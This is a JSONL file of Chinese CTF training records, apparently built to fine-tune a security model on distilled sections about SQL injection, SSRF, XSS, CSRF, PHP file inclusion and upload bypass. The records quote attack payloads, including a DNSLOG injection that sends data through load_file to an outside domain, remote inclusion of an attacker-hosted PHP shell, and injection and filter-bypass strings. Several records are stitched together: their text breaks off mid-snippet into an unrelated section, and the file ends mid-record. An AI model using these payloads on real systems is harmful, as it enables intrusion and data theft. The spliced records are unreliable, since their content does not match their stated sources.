{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-ffe70b1f16d87ad4200a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/unpack/packer-introduction.md` 中的章节「获取所需函数 API」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/unpack/packer-introduction.md`\n标题：保护壳简介\n章节：保护壳简介 > 壳的加载过程 > 获取所需函数 API\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“获取所需函数 API”展开。\n- 1. 一般壳的输入表中只有 GetProcAddress、GetModuleHandle 和 LoadLibrary 这几个 API 函数 2. 如果需要其他 API 函数，则通过 LoadLibraryA(W) 或 LoadLibraryExA(W) 将 DLL 文件映射到调用进程的地址空间中 3. 如果 DLL 文件已被映射到调用进程的地址空间里，就可以调用 GetModuleHandleA(W) 函数获得 DLL 模块句柄 4. 一旦 DLL 模块被加载，就可以调用 GetProcAddress 函数获...\n\n关键术语：\n- reverse\n- platform\n- windows\n- unpack\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 279, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "获取所需函数 API", "heading_path": ["保护壳简介", "壳的加载过程", "获取所需函数 API"], "original_id": "docs-bc27dd8ec92ed54cfbd6", "original_line": 1547, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/unpack/packer-introduction.md", "source_root": "docs", "source_sha256": "f3d551450dc3e7b30a068f97c2daba50f85862bbb3cd3336ad2d1f6b4ae3442d", "split": "train", "split_group_key": "07676cc0f5c3d70239662b2a", "subcategory": "reverse/platform/windows", "terms": ["reverse", "platform", "windows", "unpack"], "title": "保护壳简介"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/unpack/packer-introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-00a25f23cf560e7bebd9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/csrf.md` 中的章节「Token」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/csrf.md`\n标题：CSRF\n章节：CSRF > CSRF 的防御 > Token\n路径分类：web / web/csrf.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Token”展开。\n- CSRF 能够攻击成功的本质原因是重要操作的所有参数都可以被攻击者猜测得到。\n- 保持原参数不变，新增一个参数 Token，值是随机的，在实际应用中，Token 可以放在用户的 Session 中，或浏览器的 Cookies 中。\n- 此外，Token 的目的不是为了防止重复提交，所以为了使用方便，可以允许在一个用户的有效生命周期内，在 Token 消耗掉之前都使用同一个 Token，但如果用户已经提交了表单，则这个 Token 已经消耗掉，应该重新生成 Token。\n- Token 还应注意其保密性，如果 Token 出现在 URL 中，则可能会通过 Referer 泄露，应尽量把 Token 放在表单中，把敏感操作由 GET 改为 POST，以表单或 AJAX 的形式提交，避免 Token 泄露。\n\n关键术语：\n- 漏洞利用\n- web\n- csrf.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 366, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "web", "heading": "Token", "heading_path": ["CSRF", "CSRF 的防御", "Token"], "original_id": "docs-914c8e9570f5db291495", "original_line": 1587, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/csrf.md", "source_root": "docs", "source_sha256": "c10c4e23727d69d8f77c28b8fc526d53144041e0d33c11062864ca393a644436", "split": "train", "split_group_key": "4c2325439bb9582e35020985", "subcategory": "web/csrf.md", "terms": ["漏洞利用", "web", "csrf.md"], "title": "CSRF"}, "source_dataset": "docs_distilled_v1", "source_path": "web/csrf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-042d146d0084b9b9e100", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/ssrf.md` 中的章节「SSRF 漏洞出现的场景」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/ssrf.md`\n标题：SSRF\n章节：SSRF > SSRF 漏洞出现的场景\n路径分类：web / web/ssrf.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“SSRF 漏洞出现的场景”展开。\n- 能够对外发起网络请求的地方，就可能存在 SSRF 漏洞 - 从远程服务器请求资源（Upload from URL，Import & Export RSS Feed） - 数据库内置功能（Oracle、MongoDB、MSSQL、Postgres、CouchDB） - Webmail 收取其他邮箱邮件（POP3、IMAP、SMTP） - 文件处理、编码处理、属性信息处理（ffmpeg、ImageMagic、DOCX、PDF、XML）\n\n关键术语：\n- SSRF\n- AI安全\n- 漏洞利用\n- web\n- ssrf.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 219, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "web", "heading": "SSRF 漏洞出现的场景", "heading_path": ["SSRF", "SSRF 漏洞出现的场景"], "original_id": "docs-ac88a1c3ff966fea8b13", "original_line": 1611, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/ssrf.md", "source_root": "docs", "source_sha256": "e6e0bce605d1e5c8f82db091d75fe8b0b77c3eaaa6c3358b6d22421807f68f3c", "split": "train", "split_group_key": "c5934d8a9281456e64728b17", "subcategory": "web/ssrf.md", "terms": ["SSRF", "AI安全", "漏洞利用", "web", "ssrf.md"], "title": "SSRF"}, "source_dataset": "docs_distilled_v1", "source_path": "web/ssrf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-05b3ed5fa2b65f9ff41c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/php/php.md` 中的章节「回调函数」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/php/php.md`\n标题：PHP 代码审计\n章节：PHP 代码审计 > 命令执行 > 回调函数\n路径分类：web / web/php/php.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“回调函数”展开。\n- > ` 攻击 payload ` http://www.a.com/index.php?\n- 很多函数都可以执行回调函数，当回调函数用户可控时，将导致代码执行。\n- $new_array = array_map($evil_callback, $some_array);\n- $some_array = array(0,1,2,3);\n- php $evil_callback = $_GET[\"callback\"];\n\n关键术语：\n- 漏洞利用\n- web\n- php\n- php.md\n- code:php\n\n代码/命令片段线索：\n- php: 5 行，首行 ` 注入语句备忘 > DNSLOG注入\n路径分类：web / web/sqli.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“DNSLOG注入”展开。\n- dnslog平台：http://ceye.io/ `` mysql> use security;\n- Database changed mysql> select load_file('\\\\\\\\test.xxx.ceye.io\\\\abc');\n- DNS在解析的时候会留下日志，通过读取多级域名的解析日志，来获取信息。\n- 简单来说就是把信息放在高级域名中，传递到自己这，然后读取日志，获取信息。\n- +-------------------------------------------+ | load_file('\\\\\\\\test.xxx.ceye.io\\\\abc') | +-------------------------------------------+ | NULL | +-------------------------------------------+ 1 row in set (22.05 sec) mysql> select load_file(concat('\\\\\\\\',(sel...\n\n关键术语：\n- SQL注入\n- web\n- sqli.md\n\n代码/命令片段线索：\n- plain: 16 行，首行 `mysql> use security;`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 883, "chunk_count": 1, "chunk_index": 0, "ctf_score": 20, "ctf_task_type": "web", "heading": "DNSLOG注入", "heading_path": ["SQL 注入", "注入语句备忘", "DNSLOG注入"], "original_id": "docs-aaf0977b512b8c65b3da", "original_line": 1608, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/sqli.md", "source_root": "docs", "source_sha256": "be5dea4bf82befe236d2262765c505cd19fb2f226f80a3590006ab5a9c973372", "split": "train", "split_group_key": "7aed7845ec0ec9a7e633dd26", "subcategory": "web/sqli.md", "terms": ["SQL注入", "web", "sqli.md"], "title": "SQL 注入"}, "source_dataset": "docs_distilled_v1", "source_path": "web/sqli.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-0afe3ff276bb1f2a3d9c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/sqli.md` 中的章节「order by 后的注入」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/sqli.md`\n标题：SQL 注入\n章节：SQL 注入 > 注入语句备忘 > order by 后的注入\n路径分类：web / web/sqli.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“order by 后的注入”展开。\n- order by 由于是排序语句，所以可以利用条件语句做判断，根据返回的排序结果不同判断条件的真假。\n- 还有一种方法不需要知道任何字段信息，使用 rand 函数： ` http://www.test.com/list.php?\n- 一般带有 order 或者 order by 的变量很可能是这种注入，在知道一个字段的时候可以采用如下方式注入： 原始链接：http://www.test.com/list.php?\n- 找到投票数最大的票数 num 然后构造以下链接： `` http://www.test.com/list.php?\n- order=abs(vote-(length(user())>0)*num)+asc ` 看排序是否变化。\n\n关键术语：\n- SQL注入\n- 漏洞利用\n- web\n- sqli.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `http://www.test.com/list.php?order=abs(vote-(length(user())>0)*num)+asc`\n- plain: 2 行，首行 `http://www.test.com/list.php?order=rand(true)`\n- plain: 1 行，首行 `http://www.test.com/list.php?order=rand((select char(substring(table_name,1,1)) from information_schema.tables limit ...`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 603, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "web", "heading": "order by 后的注入", "heading_path": ["SQL 注入", "注入语句备忘", "order by 后的注入"], "original_id": "docs-276e65e69a8622c7a7c5", "original_line": 1606, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/sqli.md", "source_root": "docs", "source_sha256": "be5dea4bf82befe236d2262765c505cd19fb2f226f80a3590006ab5a9c973372", "split": "train", "split_group_key": "4eb3c2522397e533fbc33949", "subcategory": "web/sqli.md", "terms": ["SQL注入", "漏洞利用", "web", "sqli.md"], "title": "SQL 注入"}, "source_dataset": "docs_distilled_v1", "source_path": "web/sqli.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "introduction", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-0bbaf23cc8358d7ee248", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/introduction/content.md` 中的章节「CTF 竞赛内容」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/introduction/content.md`\n标题：CTF 竞赛内容\n章节：CTF 竞赛内容\n路径分类：introduction / introduction/content.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“CTF 竞赛内容”展开。\n- 但是就目前的比赛题型而言的话，主要还是依据常见的 Web 网络攻防、RE 逆向工程、Pwn 二进制漏洞利用、Crypto 密码攻击、Mobile 移动安全 以及 Misc 安全杂项 来进行分类。\n- Web - 网络攻防 主要介绍了 Web 安全中常见的漏洞，如 SQL 注入、XSS、CSRF、文件包含、文件上传、代码审计、PHP 弱类型等，Web 安全中常见的题型及解题思路，并提供了一些常用的工具。\n- Pwn - 二进制漏洞利用 Pwn 题目主要考察二进制漏洞的发掘和利用，需要对计算机操作系统底层有一定的了解。\n- Crypto - 密码攻击 主要包括古典密码学和现代密码学两部分内容，古典密码学趣味性强，种类繁多，现代密码学安全性高，对算法理解的要求较高。\n- Mobile - 移动安全 主要介绍了安卓逆向中的常用工具和主要问题类型，安卓逆向常常需要一定的安卓开发知识，iOS 逆向题目在 CTF 竞赛中较少出现，因此不作过多介绍。\n\n关键术语：\n- XSS\n- SQL注入\n- 密码学\n- 漏洞利用\n- content.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "introduction", "chars": 722, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "web", "heading": "CTF 竞赛内容", "heading_path": ["CTF 竞赛内容"], "original_id": "docs-21f9c779f5634cdf372f", "original_line": 518, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "introduction/content.md", "source_root": "docs", "source_sha256": "624892ca80696ba57fef10fad03881811b0ae6d5224633f5bea7e550ea6f7ee0", "split": "train", "split_group_key": "87b068dbe315958a7f8306c1", "subcategory": "introduction/content.md", "terms": ["XSS", "SQL注入", "密码学", "漏洞利用", "content.md"], "title": "CTF 竞赛内容"}, "source_dataset": "docs_distilled_v1", "source_path": "introduction/content.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-137b32e1d341cc45aa39", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/sqli.md` 中的章节「宽字节注入」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/sqli.md`\n标题：SQL 注入\n章节：SQL 注入 > 注入语句备忘 > 宽字节注入\n路径分类：web / web/sqli.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“宽字节注入”展开。\n- 不止在 SQL 注入中，宽字符注入在很多地方都可以应用。\n- %bf 那个位置可以是 %81-%fe 中间的任何字符。\n- 国内最常使用的 GBK 编码，这种方式主要是绕过 addslashes 等对特殊字符进行转移的绕过。\n- 反斜杠 \\ 的十六进制为 %5c，在你输入 %bf%27 时，函数遇到单引号自动转移加入 \\，此时变为 %bf%5c%27，%bf%5c 在 GBK 中变为一个宽字符「縗」。\n\n关键术语：\n- SQL注入\n- web\n- sqli.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 211, "chunk_count": 1, "chunk_index": 0, "ctf_score": 20, "ctf_task_type": "web", "heading": "宽字节注入", "heading_path": ["SQL 注入", "注入语句备忘", "宽字节注入"], "original_id": "docs-43f324f25ab751ec0f84", "original_line": 1607, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/sqli.md", "source_root": "docs", "source_sha256": "be5dea4bf82befe236d2262765c505cd19fb2f226f80a3590006ab5a9c973372", "split": "train", "split_group_key": "a9e3f31d2a4717acf6ae8c8e", "subcategory": "web/sqli.md", "terms": ["SQL注入", "web", "sqli.md"], "title": "SQL 注入"}, "source_dataset": "docs_distilled_v1", "source_path": "web/sqli.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-16254dff6f76284992dc", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/ssrf.md` 中的章节「常用的后端实现」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/ssrf.md`\n标题：SSRF\n章节：SSRF > 常用的后端实现\n路径分类：web / web/ssrf.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“常用的后端实现”展开。\n- php if (isset($_POST['url'])) { $content = file_get_contents($_POST['url']);\n- > ` 这段代码使用 file_get_contents 函数从用户指定的 URL 获取图片。\n- php function GetFile($host,$port,$link) { $fp = fsockopen($host, intval($port), $errno, $errstr, 30);\n- $fp) { echo \"$errstr (error number $errno) \\n\";\n- feof($fp)) { $contents.= fgets($fp, 1024);\n\n关键术语：\n- SSRF\n- web\n- ssrf.md\n- code:php\n\n代码/命令片段线索：\n- php: 10 行，首行 ` 信息资讯\n路径分类：introduction / introduction/resources.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“信息资讯”展开。\n- FreeBuf.COM | 关注黑客与极客 - 安全客 - 有思想的安全新媒体 - 嘶吼 RoarTalk – 回归最本质的信息安全 - Sec-News 安全文摘\n\n关键术语：\n- resources.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "introduction", "chars": 189, "chunk_count": 1, "chunk_index": 0, "ctf_score": 20, "ctf_task_type": "web", "heading": "信息资讯", "heading_path": ["学习资源", "信息资讯"], "original_id": "docs-6690e0078650a9e36249", "original_line": 534, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "introduction/resources.md", "source_root": "docs", "source_sha256": "d3892e2b624b44c03ec86cb7376f409acb7757eefe87c0ddf9493d92019297fc", "split": "train", "split_group_key": "b2b3f47c3077367bef69ec61", "subcategory": "introduction/resources.md", "terms": ["resources.md"], "title": "学习资源"}, "source_dataset": "docs_distilled_v1", "source_path": "introduction/resources.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-1a25c9613ae816b0ae70", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/php/php.md` 中的章节「远程文件包含」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/php/php.md`\n标题：PHP 代码审计\n章节：PHP 代码审计 > 文件包含 > 远程文件包含\n路径分类：web / web/php/php.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“远程文件包含”展开。\n- xss=phpcode ` 需要 allow_url_fopen=On，allow_url_include=On` 并且防火墙或者白名单不允许访问外网时，先在同站点找一个 XSS 漏洞，包含这个页面，就可以注入恶意代码了。\n- ` 最终的代码执行了 `php require_once \"http://attacker/phpshell.txt?\n- basePath=http://attacker/phpshell.txt?\n- file=[http|https|ftp]://example.com/shell.txt ` 需要 allow_url_fopen=On 并且 allow_url_include=On 。\n- file=php://input ` 需要 allow_url_include=On 。\n\n关键术语：\n- XSS\n- AI安全\n- 漏洞利用\n- web\n- php\n- php.md\n- code:php\n\n代码/命令片段线索：\n- php: 6 行，首行 ` CSRF 类型 > Flash CSRF\n路径分类：web / web/csrf.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Flash CSRF”展开。\n- ` Flash 中还可以使用 getURL、loadVars 等方式发起请求。\n- Flash 也有各种方式可以发起网络请求，包括 POST。\n- ``js var url = new URLRequest(\"http://target/page\");\n- var param = new URLVariables();\n- `js req = new LoadVars();\n\n关键术语：\n- web\n- csrf.md\n- code:js\n\n代码/命令片段线索：\n- js: 7 行，首行 `var url = new URLRequest(\"http://target/page\");`\n- js: 3 行，首行 `req = new LoadVars();`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 378, "chunk_count": 1, "chunk_index": 0, "ctf_score": 20, "ctf_task_type": "web", "heading": "Flash CSRF", "heading_path": ["CSRF", "CSRF 类型", "Flash CSRF"], "original_id": "docs-ed64f64e22958366016e", "original_line": 1586, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/csrf.md", "source_root": "docs", "source_sha256": "c10c4e23727d69d8f77c28b8fc526d53144041e0d33c11062864ca393a644436", "split": "train", "split_group_key": "7ed6193a973db60ca80ff52c", "subcategory": "web/csrf.md", "terms": ["web", "csrf.md", "code:js"], "title": "CSRF"}, "source_dataset": "docs_distilled_v1", "source_path": "web/csrf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-2156565494a822da82d3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/xss.md` 中的章节「持久型 XSS」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/xss.md`\n标题：XSS\n章节：XSS > XSS 简介 > 持久型 XSS\n路径分类：web / web/xss.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“持久型 XSS”展开。\n- > `` 代码只对一些空白符、特殊符号、反斜杠进行了删除或转义，没有做 XSS 的过滤和检查，且存储在数据库中，明显存在存储型 XSS 漏洞。\n- 此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本，攻击者事先将恶意代码上传或储存到漏洞服务器中，只要受害者浏览包含此恶意代码的页面就会执行恶意代码。\n- 持久型跨站脚本（Persistent Cross-Site Scripting）也等同于存储型跨站脚本（Stored Cross-Site Scripting）。\n- 持久型 XSS 一般出现在网站留言、评论、博客日志等交互处，恶意脚本存储到客户端或者服务端的数据库中。\n- php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] );\n\n关键术语：\n- XSS\n- 漏洞利用\n- web\n- xss.md\n- code:php\n\n代码/命令片段线索：\n- php: 15 行，首行 ` 文件上传 > 绕过上传检查\n路径分类：web / web/php/php.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“绕过上传检查”展开。\n- 此时 Nginx 的配置如下 ``nginx location ~ \\.php$ { root html;\n- } ` - 其他方式 后缀大小写、双写、特殊后缀如 php5` 等，修改包内容的大小写过 WAF 等。\n- Content-Type 检测文件类型 抓包修改 Content-Type 类型，使其符合白名单规则。\n- Apache 解析 Apache 对后缀解析是从右向左的 phpshell.php.rar.rar.rar.rar 因为 Apache 不认识 .rar 这个文件类型，所以会一直遍历后缀到 .php，然后认为这是一个 PHP 文件。\n- PHP CGI 路径解析 当访问 http://www.a.com/path/test.jpg/notexist.php 时，会将 test.jpg 当做 PHP 解析， notexist.php 是不存在的文件。\n\n关键术语：\n- 漏洞利用\n- web\n- php\n- php.md\n- code:nginx\n\n代码/命令片段线索：\n- nginx: 7 行，首行 `location ~ \\.php$ {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 698, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "web", "heading": "绕过上传检查", "heading_path": ["PHP 代码审计", "文件上传", "绕过上传检查"], "original_id": "docs-313756cdfe37c2ae963c", "original_line": 88, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/php/php.md", "source_root": "docs", "source_sha256": "2316f59794a074b2acecf6bb1cf9782cc5c6ef394554e4d96172c0e9488d4635", "split": "train", "split_group_key": "611ce15fc5ff787192e01b40", "subcategory": "web/php/php.md", "terms": ["漏洞利用", "web", "php", "php.md", "code:nginx"], "title": "PHP 代码审计"}, "source_dataset": "docs_distilled_v1", "source_path": "web/php/php.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-2508e989af99d9c8fb8f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/sqli.md` 中的章节「绕过字符串黑名单」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/sqli.md`\n标题：SQL 注入\n章节：SQL 注入 > 注入语句备忘 > 绕过字符串黑名单\n路径分类：web / web/sqli.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“绕过字符串黑名单”展开。\n- SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');\n- SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');\n- ` 使用 CONCAT() 时，任何个参数为 null，将返回 null，推荐使用 CONCAT_WS()。\n- ``sql SELECT 'a' 'd' 'mi' 'n';\n- SELECT CONCAT('a', 'd', 'm', 'i', 'n');\n\n关键术语：\n- SQL注入\n- web\n- sqli.md\n- code:sql\n\n代码/命令片段线索：\n- sql: 4 行，首行 `SELECT 'a' 'd' 'mi' 'n';`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 262, "chunk_count": 1, "chunk_index": 0, "ctf_score": 20, "ctf_task_type": "web", "heading": "绕过字符串黑名单", "heading_path": ["SQL 注入", "注入语句备忘", "绕过字符串黑名单"], "original_id": "docs-1b8d1c48d5a22dc2d07e", "original_line": 1605, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/sqli.md", "source_root": "docs", "source_sha256": "be5dea4bf82befe236d2262765c505cd19fb2f226f80a3590006ab5a9c973372", "split": "train", "split_group_key": "48d511cfbf3a23aaa262e5ae", "subcategory": "web/sqli.md", "terms": ["SQL注入", "web", "sqli.md", "code:sql"], "title": "SQL 注入"}, "source_dataset": "docs_distilled_v1", "source_path": "web/sqli.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-26dbec1515851abaca35", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/ssrf.md` 中的章节「阻碍 SSRF 漏洞利用的场景」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/ssrf.md`\n标题：SSRF\n章节：SSRF > 阻碍 SSRF 漏洞利用的场景\n路径分类：web / web/ssrf.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“阻碍 SSRF 漏洞利用的场景”展开。\n- 服务器开启 OpenSSL 无法进行交互利用 - 服务端需要鉴权（Cookies & User：Pass）不能完美利用 - 限制请求的端口为http常用的端口，比如，80,443,8080,8090。\n- 可以防止类似于file:///,gopher://,ftp:// 等引起的问题。\n- 统一错误信息，避免用户可以根据错误信息来判断远端服务器的端口状态。\n\n关键术语：\n- SSRF\n- 漏洞利用\n- web\n- ssrf.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 